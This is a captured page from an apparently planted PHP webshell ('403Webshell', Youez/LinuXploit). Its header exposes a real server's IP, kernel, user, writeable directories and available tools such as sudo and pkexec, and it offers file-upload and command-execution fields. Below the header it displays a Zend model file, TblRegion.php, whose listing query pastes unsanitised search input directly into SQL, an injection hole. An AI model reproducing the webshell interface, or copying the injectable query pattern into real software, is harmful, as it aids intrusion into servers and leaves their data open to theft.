403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/models//TblRegion.php
<?php
/**
 * Class            Region  Model
 * Description 		This model class contains the functions needed for manipulation of Region.
 * @name		    Travel_Model_TblRegion  Model
 * @author		    Shailender Joshi
 * @editor          Shailender Joshi <shailender@catpl.co.in>
 * @version         1.0
 * @copyright       Catabatic Technologies Pvt Ltd
 *
 */

class Travel_Model_TblRegion {
    
     
    public $intContSysId        = NULL;
    
   
    protected $db              = NULL;
    
    public $imageServerUrl = NULL;
    
    public $baseUrl = NULL;
    
    
     /*  Common to all models */
    public $strCondition  = NULL;
    
    public $deleted = 'N';
    
    public $status = '1';
        
    public $strSelectedView = '';
    
    public $intQueryOffset = 0;
    
    public $intListPerPage = 10;
    
    public $strOrderBy = 'TB_Master_Geo_Region.RegId' ;
    
    public $intLoginUserId = NULL;
    
    public $intLoginAgentId = NULL;
    
    
    public $strImageFlag  = NULL;
    
		
    /***************************************/
    
   
    public function __construct(){
      #initialize db adapter
      $this->db = Zend_Db_Table::getDefaultAdapter();
    }
    
    public function __destruct() {
        $this->db->closeConnection(); 
    }
    
    # Start : functions added by Shailender Joshi on 19 Oct 2016
    
	 public function insertTable($table, $data)
    {   
        $dbtable = new Zend_Db_Table("$table");
        return $dbtable->insert($data);
    }

    
    /**
    * updateTable() method is used to update data on table primary key basis
    * @param table name, data array, where condition
    * @return object
    */	
    public function updateTable($table, $editData, $where)
    {  
        $dbtable = new Zend_Db_Table("$table");
        return $dbtable->update($editData, $where);
    }
	
	
    /**
    * getDetailsByUniqueId() method is used to get details on primary key
    * @param table name, key name, key value
    * @return object 
    */	
    public function getDetailsByUniqueId($table, $columnArray, $uniqueId, $uniqueIdVal)
    {   
         $select = $this->db->select()
                ->from("$table", $columnArray)
				->where("$uniqueId =?", $uniqueIdVal);
        $result = $this->db->fetchRow($select);
        return $result;
    } # getDetailsByUniqueId
    
	
	// $where       =  array('column'=>value,'column'=>'value',.......);
    // $columnArray =  array('column1','column2','column3',...........);
    public function getRecordListingWhere($table, $columnArray, $where, $orderby='', $order="ASC")
    {   
        $select = $this->db->select()->from($table, $columnArray);

        foreach($where as $col=>$val)
        {
            $select->where("$col =?", $val);
        }

        if(!empty($orderby))
        $select->order("$orderby $order");
        
		$result = $this->db->fetchAll($select);
        return $result;
		
    } 
	
    public function getRegionListingRecord()
	{
		$sql = "  select t1.RegionType,t1.Title,t3.Title as CountryName,t1.RegCat,t1.IsActive,t1.IsMarkForDel,t1.RegionType,t1.RegId ,t5.Title as StateName
 from TB_Master_Geo_Region t1
left join TB_Master_Geo_Country_Region_MAP t2 on t1.RegId = t2.RegCatId
left join TB_Master_Geo_State_Region_MAP t4 on t1.RegId = t4.RegCatId
left join TB_Master_Geo_Country t3 on t2.ContSysId = t3.ContId 
left join TB_Master_Geo_State t5 on t4.StateSysId = t5.StateId 
WHERE t1.IsMarkForDel =0 " ;
			
			if(!empty($this->searchArr)) {
				//echo "<pre>"; print_r($this->searchArr); die;
				
				if($this->searchArr['Title']!='')
				{
				  $sql .= " AND t1.Title LIKE '%".$this->searchArr['Title']."%' ";
				}
				if($this->searchArr['filter1']!='All' && $this->searchArr['filter1']!='')
				{
				  $sql .= " AND t1.IsActive = '".$this->searchArr['filter1']."' ";
				}
                                if($this->searchArr['regionType']!='All' && $this->searchArr['regionType']!='')
				{
				  $sql .= " AND t1.regionType = '".$this->searchArr['regionType']."' ";
				}
				
			 }
			 
		     $sql .= " ORDER BY t1.RegId DESC ";
			//echo $sql; //die();
			
		$rowset = $this->db->query($sql)->fetchAll();
        return $rowset;
	}
public function deleteRecord($table,$where){
        $this->db->delete($table, $where);
}


# End : functions added by Shailender Joshi on 19 Oct 2016
    
}

Youez - 2016 - github.com/yon3zu
LinuXploit